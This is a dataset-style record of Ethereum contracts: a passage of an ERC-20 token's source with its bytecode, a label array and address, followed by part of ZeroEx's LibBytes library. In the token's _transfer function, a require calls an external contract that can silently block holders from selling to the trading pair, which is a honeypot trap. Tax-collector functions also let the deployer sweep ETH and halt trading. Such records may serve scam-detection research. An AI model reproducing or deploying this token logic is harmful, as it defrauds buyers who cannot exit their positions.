private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102925780639e752b95146102bd578063a9059cbb146102dd578063dd62ed3e146102fd578063f42938901461034357600080fd5b806356d9dce81461022057806370a0823114610235578063715018a6146102555780638da5cb5b1461026a57600080fd5b8063293230b8116100d1578063293230b8146101c3578063313ce567146101da5780633e07ce5b146101f657806351bc3c851461020b57600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260078152664269672044617960c81b60208201525b6040516101479190611558565b60405180910390f35b34801561015c57600080fd5b5061017061016b3660046115c2565b610358565b6040519015158152602001610147565b34801561018c57600080fd5b5061019561036f565b604051908152602001610147565b3480156101af57600080fd5b506101706101be3660046115ee565b610390565b3480156101cf57600080fd5b506101d86103f9565b005b3480156101e657600080fd5b5060405160068152602001610147565b34801561020257600080fd5b506101d86107bc565b34801561021757600080fd5b506101d86107f2565b34801561022c57600080fd5b506101d861081f565b34801561024157600080fd5b5061019561025036600461162f565b6108a0565b34801561026157600080fd5b506101d86108c2565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029e57600080fd5b50604080518082019091526002815261109160f21b602082015261013a565b3480156102c957600080fd5b506101d86102d836600461164c565b610966565b3480156102e957600080fd5b506101706102f83660046115c2565b61098f565b34801561030957600080fd5b50610195610318366004611665565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561034f57600080fd5b506101d861099c565b6000610365338484610a06565b5060015b92915050565b600061037d6006600a611798565b61038b906305f5e1006117a7565b905090565b600061039d848484610b2a565b6103ef84336103ea85604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e75565b610a06565b5060019392505050565b6009546001600160a01b0316331461041057600080fd5b600c54600160a01b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049b9030906001600160a01b031661048d6006600a611798565b6103ea906305f5e1006117a7565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104e957600080fd5b505afa1580156104fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052191906117c6565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561057e57600080fd5b505afa158015610592573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b691906117c6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105fe57600080fd5b505af1158015610612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063691906117c6565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610666816108a0565b60008061067b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106de57600080fd5b505af11580156106f2573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061071791906117e3565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561078157600080fd5b505af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190611811565b50565b6009546001600160a01b031633146107d357600080fd5b6107df6006600a611798565b6107ed906305f5e1006117a7565b600a55565b6009546001600160a01b0316331461080957600080fd5b6000610814306108a0565b90506107b981610eaf565b6009546001600160a01b0316331461083657600080fd5b600c54600160a01b900460ff1661088f5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610466565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036990611038565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610466565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461097d57600080fd5b6006811061098a57600080fd5b600855565b6000610365338484610b2a565b6009546001600160a01b031633146109b357600080fd5b476107b9816110b5565b60006109ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f3565b9392505050565b6001600160a01b038316610a685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ac95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610bf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b60008111610c525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610c9c57600080fd5b505afa158015610cb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd49190611833565b600c546001600160a01b038481169116148015610cff5750600b546001600160a01b03858116911614155b610d0a576000610d0c565b815b1115610d1757600080fd5b6000546001600160a01b03848116911614801590610d4357506000546001600160a01b03838116911614155b15610e6557600c546001600160a01b038481169116148015610d735750600b546001600160a01b03838116911614155b8015610d9857506001600160a01b03821660009081526004602052604090205460ff16155b15610dee57600a548110610dee5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610466565b6000610df9306108a0565b600c54909150600160a81b900460ff16158015610e245750600c546001600160a01b03858116911614155b8015610e395750600c54600160b01b900460ff165b15610e6357610e4781610eaf565b47670de0b6b3a7640000811115610e6157610e61476110b5565b505b505b610e70838383611121565b505050565b60008184841115610e995760405162461bcd60e51b81526004016104669190611558565b506000610ea6848661184c565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ef757610ef7611863565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f4b57600080fd5b505afa158015610f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8391906117c6565b81600181518110610f9657610f96611863565b6001600160a01b039283166020918202929092010152600b54610fbc9130911684610a06565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ff5908590600090869030904290600401611879565b600060405180830381600087803b15801561100f57600080fd5b505af1158015611023573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561109f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610466565b60006110a961112c565b90506109ff83826109bd565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ef573d6000803e3d6000fd5b5050565b600081836111145760405162461bcd60e51b81526004016104669190611558565b506000610ea684866118ea565b610e7083838361114f565b6000806000611139611246565b909250905061114882826109bd565b9250505090565b600080600080600080611161876112c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111939087611325565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c29086611367565b6001600160a01b0389166000908152600260205260409020556111e4816113c6565b6111ee8483611410565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123391815260200190565b60405180910390a3505050505050505050565b60055460009081908161125b6006600a611798565b611269906305f5e1006117a7565b905061129161127a6006600a611798565b611288906305f5e1006117a7565b600554906109bd565b8210156112bf576005546112a76006600a611798565b6112b5906305f5e1006117a7565b9350935050509091565b90939092509050565b60008060008060008060008060006112e58a600754600854611434565b92509250925060006112f561112c565b905060008060006113088e878787611489565b919e509c509a509598509396509194505050505091939550919395565b60006109ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e75565b600080611374838561190c565b9050838110156109ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b60006113d061112c565b905060006113de83836114d9565b306000908152600260205260409020549091506113fb9082611367565b30600090815260026020526040902055505050565b60055461141d9083611325565b60055560065461142d9082611367565b6006555050565b600080808061144e606461144889896114d9565b906109bd565b9050600061146160646114488a896114d9565b90506000611479826114738b86611325565b90611325565b9992985090965090945050505050565b600080808061149888866114d9565b905060006114a688876114d9565b905060006114b488886114d9565b905060006114c6826114738686611325565b939b939a50919850919650505050505050565b6000826114e857506000610369565b60006114f483856117a7565b90508261150185836118ea565b146109ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b600060208083528351808285015260005b8181101561158557858101830151858201604001528201611569565b81811115611597576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107b957600080fd5b600080604083850312156115d557600080fd5b82356115e0816115ad565b946020939093013593505050565b60008060006060848603121561160357600080fd5b833561160e816115ad565b9250602084013561161e816115ad565b929592945050506040919091013590565b60006020828403121561164157600080fd5b81356109ff816115ad565b60006020828403121561165e57600080fd5b5035919050565b6000806040838503121561167857600080fd5b8235611683816115ad565b91506020830135611693816115ad565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ef5781600019048211156116d5576116d561169e565b808516156116e257918102915b93841c93908002906116b9565b509250929050565b60008261170657506001610369565b8161171357506000610369565b816001811461172957600281146117335761174f565b6001915050610369565b60ff8411156117445761174461169e565b50506001821b610369565b5060208310610133831016604e8410600b8410161715611772575081810a610369565b61177c83836116b4565b80600019048211156117905761179061169e565b029392505050565b60006109ff60ff8416836116f7565b60008160001904831182151516156117c1576117c161169e565b500290565b6000602082840312156117d857600080fd5b81516109ff816115ad565b6000806000606084860312156117f857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182357600080fd5b815180151581146109ff57600080fd5b60006020828403121561184557600080fd5b5051919050565b60008282101561185e5761185e61169e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c95784516001600160a01b0316835293830193918301916001016118a4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190757634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561191f5761191f61169e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087da1ae234ba81bd3a24c4485133d0ecde66771079e3d461abf19ddfe55b25de64736f6c63430008090033
[ 13, 5, 19, 11 ]
0xf1c0811e3788caae7dbfae43da9d9131b1a8a148
pragma solidity ^0.5.9; pragma experimental ABIEncoderV2; /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibBytesRichErrors { enum InvalidByteOperationErrorCodes { FromLessThanOrEqualsToRequired, ToLessThanOrEqualsLengthRequired, LengthGreaterThanZeroRequired, LengthGreaterThanOrEqualsFourRequired, LengthGreaterThanOrEqualsTwentyRequired, LengthGreaterThanOrEqualsThirtyTwoRequired, LengthGreaterThanOrEqualsNestedBytesLengthRequired, DestinationLengthGreaterThanOrEqualSourceLengthRequired } // bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)")) bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR = 0x28006595; // solhint-disable func-name-mixedcase function InvalidByteOperationError( InvalidByteOperationErrorCodes errorCode, uint256 offset, uint256 required ) internal pure returns (bytes memory) { return abi.encodeWithSelector( INVALID_BYTE_OPERATION_ERROR_SELECTOR, errorCode, offset, required ); } } library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( result.contentAddress(), b.contentAddress() + from, result.length ); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired, from, to )); } if (to > b.length) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired, to, b.length )); } // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { if (b.length == 0) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired, b.length, 0 )); } // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return True if arrays are the same. False otherwise. function equals( bytes memory lhs, bytes memory rhs ) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { if (b.length < index + 20) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired, b.length, index + 20 // 20 is length of address )); } // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return bytes32 value from byte array. function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { if 